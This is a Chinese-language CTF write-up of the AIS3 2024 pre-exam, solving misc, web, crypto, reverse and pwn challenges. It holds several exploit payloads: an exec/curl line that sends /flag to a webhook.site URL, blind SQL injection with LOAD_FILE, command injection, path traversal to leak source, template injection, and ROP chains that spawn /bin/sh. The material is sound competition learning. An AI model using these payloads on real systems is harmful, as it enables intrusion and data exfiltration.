AIS3 pre exam 2024 - writeup
Author:堇姬Naup
Rank 4th
Misc
Welcome
ctrl+c ctrl+v
AIS3{Welc0me_to_AIS3_PreExam_2o24!}
Three Dimensional Secret
看封包然後這個看起來很像3D GCode
,直接用線上工具化出來
AIS3{b4d1y_tun3d_PriN73r}
Quantum Nim Heist
這題我其實不知道怎麼做的,就亂按,choose那邊在第一次後,如果你不輸入任何東西,或是0 1 2也可以過(回去看了source code發現那邊少寫了else),之後就一直按enter,直到最後一顆,拿走就可以拿到flag
AIS3{Ar3_y0u_a_N1m_ma57er_0r_a_Crypt0_ma57er?}
Emoji Console
先用cat *
來leak source code
1 |
|
cat flag
知道flag是directory,要先cd進去
cd 進去後會看到一個python檔案,他會去read flag,執行他就可以讀出flag了(先用;
分隔,再用|
來讓後面會被執行,p:
會被當指令,但會執行錯誤)
cd flag;p:|cat *
AIS3{🫵🪡🉐🤙🤙🤙👉👉🚩👈👈}
Web
Evil Calculator
source code
1 | from flask import Flask, request, jsonify, render_template |
解法
1 | exec('import'+chr(32)+'os;os.system(\"curl'+chr(32)+'https://webhook.site/36d45c0b-dca1-4240-82be-a56d4356a978?a='+'$(cat'+chr(32)+'/flag)'+'\")') |
基本上就是 eval()
可控,然後過濾掉_
、
,所以可以用exec bypass下底線,跟用chr(32) bypass掉空格。
然後就是先cat出flag,再用curl將資料送到webhook,就可以拿到flag了
AIS3{7RiANG13_5NAK3_I5_50_3Vi1}
It’s MyGO!!!!!
這題沒有source code,進去後會發現一個很明顯SQL injection的地方/song?id=
但不能用Union
之類的方法,但發現如果用boolean SQL injection來做可以透過回顯來leak/flag
如果猜的不對會回顯No Data
如過對了會正常回顯影片
1 | /song?id=4 AND ASCII(SUBSTRING((SELECT LOAD_FILE('/flag')), {}, 1)) ={}-- |
script
1 | import requests |
讀出FLAG ASCII
1 | numbers = [ |
轉unicode所以我說為甚麼要演奏春日影
AIS3{CRYCHIC_Funeral_😭🎸😭🎸😭🎤😭🥁😸🎸}
Ebook Parser
source code
1 | import tempfile |
解法
ebookmeta.get_metadata()
在解出資料時,會觸發xxe
xxe -> file:///flag
所以author會顯示出/flag的內容
說個趣聞:
https://github.com/dnkorpushov/ebookmeta/issues/16
solve file
1 |
|
Capoost
第一步 LFI leak source code
個人覺得最複雜的一題,首先要發現LFI,來讓這題從黑箱變白箱
Dockerfile
GET /template/read?name=capoo../../../Dockerfile1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23FROM golang:1.19 as builder
LABEL maintainer="Chumy"
RUN apt install make
COPY src /app
COPY Dockerfile-easy /app/Dockerfile
WORKDIR /app
RUN make clean && make && make readflag && \
mv bin/readflag /readflag && \
mv fl4g1337 /fl4g1337 && \
chown root:root /readflag && \
chmod 4555 /readflag && \
chown root:root /fl4g1337 && \
chmod 400 /fl4g1337 && \
touch .env && \
useradd -m -s /bin/bash app && \
chown -R app:app /app
USER app
ENTRYPOINT ["./bin/capoost"]golang網站,那main應該是->main.go
main.go
/template/read?name=capoo../../../main.go1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59package main
import (
// "net/http"
"github.com/gin-gonic/gin"
"github.com/gin-contrib/sessions"
"github.com/gin-contrib/sessions/cookie"
"github.com/go-errors/errors"
"capoost/router"
"capoost/utils/config"
// "capoost/utils/database"
"capoost/utils/errutil"
"capoost/middlewares/auth"
)
func main() {
if !config.Debug {
gin.SetMode(gin.ReleaseMode)
}
store := cookie.NewStore(config.Secret)
backend := gin.Default()
backend.Use(errorHandler)
backend.Use(gin.CustomRecovery(panicHandler))
backend.Use(sessions.Sessions(config.Sessionname, store))
backend.Use(auth.AddMeta)
router.Init(&backend.RouterGroup)
backend.Run(":"+string(config.Port))
}
func panicHandler(c *gin.Context, err any) {
goErr := errors.Wrap(err, 2)
//errmsg := ""
//if config.Debug {
errmsg := goErr.Error()
//}
errutil.AbortAndError(c, &errutil.Err{
Code: 500,
Msg: "Internal server error",
Data: errmsg,
})
}
func errorHandler(c *gin.Context) {
c.Next()
for _, e := range c.Errors {
err := e.Err
//errmsg := ""
//if config.Debug {
errmsg := err.Error()
//}
c.JSON(500, gin.H{
"code": 500,
"msg": "Internal server error",
"data": errmsg,
})
return
}
}根據import開始leak所有檔案
auth.go
name=capoo../../../middlewares/auth/auth.go1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55package auth
import (
// "fmt"
"github.com/gin-gonic/gin"
"github.com/gin-contrib/sessions"
"capoost/utils/errutil"
"capoost/models/user"
)
func CheckSignIn(c *gin.Context) {
if isSignIn, exist := c.Get("isSignIn"); !exist || !isSignIn.(bool) {
errutil.AbortAndError(c, &errutil.Err{
Code: 401,
Msg: "You are not login.",
})
}
}
func CheckIsAdmin(c *gin.Context) {
if isAdmin, exist := c.Get("isAdmin"); !exist || !isAdmin.(bool) {
errutil.AbortAndError(c, &errutil.Err{
Code: 405,
Msg: "You are not admin.",
})
}
}
func CheckIsNotAdmin(c *gin.Context) {
if isAdmin, exist := c.Get("isAdmin"); !(!exist || !isAdmin.(bool)) {
errutil.AbortAndError(c, &errutil.Err{
Code: 405,
Msg: "This method is not available to admin.",
})
}
}
func AddMeta(c *gin.Context) {
session := sessions.Default(c)
username := session.Get("user")
if username == nil {
c.Set("isSignIn", false)
} else {
userdata, err := user.GetUser(username.(string))
c.Set("user", userdata)
if err != nil {
c.Set("isSignIn", false)
} else {
c.Set("isSignIn", true)
c.Set("isAdmin", userdata.ID == 1)
}
}
}post.go
?name=capoo../../../router/post/post.go1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138package post
import (
"path"
"strconv"
"text/template"
"os/exec"
"os"
"regexp"
"errors"
"bytes"
"strings"
"github.com/gin-gonic/gin"
"capoost/middlewares/auth"
"capoost/models/user"
"capoost/models/post"
"capoost/utils/errutil"
"capoost/utils/database"
)
type page struct {
Data string `json:"data"`
Count int `json:"count"`
Percent int `json:"percent"`
}
var router *gin.RouterGroup
func Init(r *gin.RouterGroup) {
router = r
router.POST("/create", auth.CheckSignIn, auth.CheckIsNotAdmin, create)
router.GET("/list", auth.CheckSignIn, list)
router.GET("/read", auth.CheckSignIn, read)
}
func create(c *gin.Context) {
userdata, _ := c.Get("user")
postdata := post.Post{
Owner: userdata.(user.User),
}
err := c.ShouldBindJSON(&postdata)
if err != nil || postdata.Title == "" {
errutil.AbortAndError(c, &errutil.Err{
Code: 400,
Msg: "Invalid Post",
})
return
}
reg := regexp.MustCompile(`[^a-zA-Z0-9]`)
postdata.Template = reg.ReplaceAllString(postdata.Template, "")
if _, err := os.Stat(path.Clean(path.Join("./template", postdata.Template)));
path.Clean(path.Join("./template", postdata.Template)) == path.Clean("./template") ||
errors.Is(err, os.ErrNotExist) {
errutil.AbortAndError(c, &errutil.Err{
Code: 400,
Msg: "Invalid Post",
})
return
}
postdata.Create()
c.String(200, "Post success")
}
func list(c *gin.Context) {
posts, err := post.GetAllPosts()
if err != nil {
panic(err)
}
c.JSON(200, posts)
}
func read(c *gin.Context) {
postid, err := strconv.Atoi(c.DefaultQuery("id", "0"))
if err != nil {
errutil.AbortAndError(c, &errutil.Err{
Code: 400,
Msg: "Invalid ID",
})
}
nowpost, err := post.GetPost(uint(postid))
if err != nil {
errutil.AbortAndError(c, &errutil.Err{
Code: 400,
Msg: "Invalid ID",
})
}
t := template.New(nowpost.Template)
if nowpost.Owner.ID == 1 {
t = t.Funcs(template.FuncMap{
"G1V3m34Fl4gpL34s3": readflag,
})
}
t = template.Must(t.ParseFiles(path.Join("./template", nowpost.Template)))
b := new(bytes.Buffer)
if err = t.Execute(b, nowpost.Data); err != nil {
panic(err)
}
nowpost.Count++
sum := 0
posts, _ := post.GetAllPosts()
for _, now := range posts {
if nowpost.ID == now.ID {
sum += nowpost.Count
} else {
sum += now.Count
}
}
var percent int
if sum != 0 {
percent = (nowpost.Count * 100) / sum
} else {
errutil.AbortAndError(c, &errutil.Err{
Code: 500,
Msg: "Sum of post count can't be 0",
})
}
if strings.Contains(b.String(), "AIS3") {
errutil.AbortAndError(c, &errutil.Err{
Code: 403,
Msg: "Flag deny",
})
}
nowpage := page{
Data: b.String(),
Count: nowpost.Count,
Percent: percent,
}
c.JSON(200, nowpage)
database.GetDB().Save(&nowpost)
}
func readflag() string {
out, _ := exec.Command("/readflag").Output()
return strings.Trim(string(out), " \n\t")
}template.go
?name=capoo../../../router/template/template.go1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71package template
import (
"os"
"path"
"regexp"
"github.com/gin-gonic/gin"
"capoost/middlewares/auth"
"capoost/utils/errutil"
)
var router *gin.RouterGroup
func init() {
os.MkdirAll("./template", os.ModePerm)
}
func Init(r *gin.RouterGroup) {
router = r
router.POST("/upload", auth.CheckSignIn, auth.CheckIsAdmin, upload)
router.GET("/list", auth.CheckSignIn, list)
router.GET("/read", auth.CheckSignIn, read)
}
func upload(c *gin.Context) {
reg := regexp.MustCompile(`[^a-zA-Z0-9]`)
template := c.PostForm("template")
name := reg.ReplaceAllString(c.PostForm("name"), "")
f, err := os.Create(path.Clean(path.Join("./template", name)))
if err != nil {
panic(err)
}
_, err = f.WriteString(template)
if err != nil {
panic(err)
}
c.String(200, "Upload success")
}
func list(c *gin.Context) {
tmpls, err := os.ReadDir("./template")
if err != nil {
panic(err)
}
result := make([]string, len(tmpls))
for i, tmpl := range tmpls {
result[i] = tmpl.Name()
}
c.JSON(200, result)
}
func read(c *gin.Context) {
name := c.Query("name")
if name == "" {
errutil.AbortAndError(c, &errutil.Err{
Code: 400,
Msg: "Bad name",
})
return
}
tmpl, err := os.ReadFile(path.Join("./template", name))
if err != nil {
errutil.AbortAndError(c, &errutil.Err{
Code: 400,
Msg: "Not exist",
})
return
}
c.Data(200, "text/plain", tmpl)
//c.File(path.Join("./template", name))
}user.go
capoo../../../models/user/user.go1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69package user
import (
"log"
"fmt"
"encoding/base64"
"crypto/rand"
"capoost/utils/database"
"capoost/utils/password"
)
type User struct {
ID uint `gorm:"primaryKey" json:"-"`
Username string `json:"username"`
Password password.Password `json:"password"`
}
func init() {
const adminname = "4dm1n1337"
database.GetDB().AutoMigrate(&User{})
if _, err := GetUser(adminname); err == nil {
return
}
buf := make([]byte, 12)
_, err := rand.Read(buf)
if err != nil {
log.Panicf("error while generating random string: %s", err)
}
User{
//ID: 1,
Username: adminname,
Password: password.New(base64.StdEncoding.EncodeToString(buf)),
}.Create()
}
func (a User) Equal(b User) bool {
return a.Username == b.Username && a.Password == b.Password
}
func (user User) Login() bool {
if user.Username == "" {
return false
}
if _, err := GetUser(user.Username); err == nil {
var loginuser User
result := database.GetDB().Where(&user).First(&loginuser)
return result.Error == nil
}
return user.Create() == nil
}
func GetUser(username string) (User, error) {
var loginuser User
result := database.GetDB().Where(&User{
Username: username,
}).First(&loginuser)
return loginuser, result.Error
}
func (user User) Create() error {
if user.Password == "" {
return fmt.Errorf("Password can't be empty in create")
}
result := database.GetDB().Model(&User{}).Create(&user)
return result.Error
}
以及登入的前端(不用LFI,F12直接看)
1 | <script> |
基本上這些就夠了
第二步 分析source code+湊齊條件
你會發現可以注入模板,但是需要達成三個條件(post.go)
- 只有admin可以創建模板,所以要拿到admin,來注入模板
- 使用該模板創建貼文
- 該貼文的創建者是admin
另外可以觀察出來,如果輸入(一般使用者要登入,隨便輸入一組就會自己註冊了)
帳號: 4dm1n1337
密碼: 空白
就可以登入(這邊我用burpsuite抓下來送才過的了)
直接把session丟到網頁,然後重整就可以看到admin頁面了
另外還有個問題,使用模板這部分沒問題,那究竟該如何讓該貼文創建者是admin呢(admin沒辦法創建貼文,只有一般使用者可以創建貼文)
最核心的地方就是這段code了
如果我在貼文創建請求時,在原有的Json裡面塞入Owner:<名稱>,就可以任意的偽造該貼文的創建者了
這邊發現偽造成功
這樣子就湊齊條件了
第三部 製作模板
首先這題要透過執行模板來去讀取flag,這裡有看到一個函數
1 | func readflag() string { |
這邊用readflag不行,要call G1V3m34Fl4gpL34s3
而G1V3m34Fl4gpL34s3
-> readflag()
用
1 | {{G1V3m34Fl4gpL34s3}} |
就可以呼叫flag了,但是會遇到一個問題,就是它會過濾輸出包含AIS3
輸出有AIS3
會回報403
我這邊想到的方法是把AI
切掉輸出
所以我用
1 | {{slice G1V3m34Fl4gpL34s3 2}} |
最後一步 串起來
burpsuite抓登入 -> 修改admin密碼為空並送出 ->更改session後刷新拿到管理頁面 -> 注入模板 ->登出後隨便註冊一個新帳號 -> burpsuite抓創建貼文 -> 加入 'Owner':'4dm1n1337'
偽造創建者為admin -> 點開該貼文即可看到flag
結論就是,這卡波笑得很邪惡
AIS3{go_4w4y_WhY_Ar3_y0U_H3R3_Capoo:(}
Crypto
babyRSA
source code
1 | import random |
解法
他是一個字元一個字元加密的,直接暴力搜尋就好了
1 | n= |
AIS3{NeverUseTheCryptographyLibraryImplementedYourSelf}
zkp
source code
1 | #!/bin/python3 |
解法
如果輸入 1
,那你就可以拿到discrete_log()
這個函數
script
1 | from sympy.ntheory import discrete_log |
AIS3{ToSolveADiscreteLogProblemWhithSmoothPIsSoEZZZZZZZZZZZ}
easyRSA
source code
1 | #!/bin/python3 |
解法
他有一個地方有bug,所以可以參考這個,來做RSA Fault Attack
https://asecuritysite.com/rsa/rsa_fault
這邊直接上script,跟著我的script的方法推一遍就可以解出來了
script
1 | from hashlib import sha256 |
AIS3{IJustWantItFasterQAQ}
Reverse
The Long Print
有個執行檔,先丟進去ida作分析,因為執行起來會卡,所以先把sleep patch掉,但他沒有印出flag
\rOops! Where is the flag? I am sure that the flag is already printed!
分析一下發現他運算完後忘記print出來來,就把東西抓下來run一遍就行了
script
1 | import time |
AIS3{You_are_the_master_of_time_management!!!!?}
火拳のエース
丟進去ida,一樣把printflag裡面的sleep patch掉,把sleep大概邏輯是長這樣,輸入的東西就是flag,經過運算後會比對看對不對,所以就是反著推一遍就行了(最後加上他一開始印的flag開頭)
另外每個字是獨立運算的,所以complex可以透過輸入來對答案(大寫),這樣就不需要逆推那一坨複雜的運算了
1 | import time |
script
這是我推的過程,可以推推看(我知道很亂就是了)
1 | #unk_804A163 = [ 0x0E, 0x0D, 0x7D, 0x06, 0x0F, 0x17, 0x76, 0x04, 0x00] |
AIS3{G0D_D4MN_4N9R_15_5UP3R_P0W3RFU1!!!}
Pwn
Mathter
checksec
看到開了canary但其實沒開
解法
goodbye函數裡面有
gets
可以做buffer overflow的利用這邊可以堆ROP
- execve(‘/bin/sh’)
暫存器 | 值 |
---|---|
rax | 0x3b |
rdi | 要執行的參數值(/bin/sh) |
rsi | argv(這裡=0) |
rdx | envp(這裡=0) |
找ROPgadget
ROPgadget | address |
---|---|
pop rax ;ret | 0x42e3a7 |
pop rdi ;ret | 0x402540 |
pop rsi ;ret | 0x4126a3 |
pop rdx ; pop rbx ; ret | 0x47b917 |
syscall | 0x4013ea |
mov [rax + 8], rdx; ret | 0x42f6b3 |
memory can write | 0x4bc140 |
另外找到一段可寫段,選一段看起來沒用到的空間來寫入/bin/sh
,這邊選0x4bc140
mov [rax + 8], rdx; ret
會將rdx的值寫到rax所存的位址+8,所以/bin/sh
被寫到0x4bc148
之後再從這裡拿寫進rdi
stack狀態
1 | AAAAAA(0x4+0x8) |
script
1 | from pwn import * |
AIS3{0mg_k4zm4_mu57_b3_k1dd1ng_m3_2e89c9}
題外話
這題好像只是單純的ret2func,結果我把他想太難,直接堆ROP,我以為那兩個function是假的function
base64 encoder
source code
1 |
|
ckecksec
開NX、PIE
分析
1 | scanf("%[^\n]%*c", buf) |
這地方有個很明顯的Buffer overflow
1 | void Vincent55Orz(){ |
這個function開了一個shell,如果沒有PIE直接return過去就好了,但這題有開PIE,function的為只會加上PIE base,所以要leak PIE base
1 | PIE(stack)-stack offset=PIE base |
哪裡可以leak PIE呢
1 | if (out) { |
這裡要了解一件事,就是C語言裡面的%
不是取模,而是取餘,所以可以oob。
另外他有一個提示是他有一個debug留下來,可以透過那個debug,在本地自己重新編譯一個後,來知道要索引是多少
1 | printf("%d %d %d %d\n",(combined >> 18) % 64,(combined >> 12) % 64,(combined >> 6) % 64,(combined >> 0) % 64) |
(記的把最後一個改回0)
之後就開始暴力搜索出table[-3] table[-4] table[-5] table[-6] table[-7] table[-8]
,這些byte組起來就是PIE(stack)了
main+299->6 bytes的位址在stack上(PIE過)->oob 索引-3 -4 -5 -6 -7 -8組起來
找PIE base
找到offset
之後就可以每輪leak出PIE找到base了,最後return過去
1 | from pwn import * |
總之亂試後就可以找到了
最後就可以減出PIE base
1 | 0x40+0x8(old rbp)+ret的func位置+往後跳一點(加上PIE base) |
script
1 | from pwn import * |
這題Leak PIE很像之前看到一題叫ROT13的,超有趣的利用方法
AIS3{1_g0t_WA_on_my_H0m3work_Do_YoU_h4v3_aNY_idea???_22281a41372450db}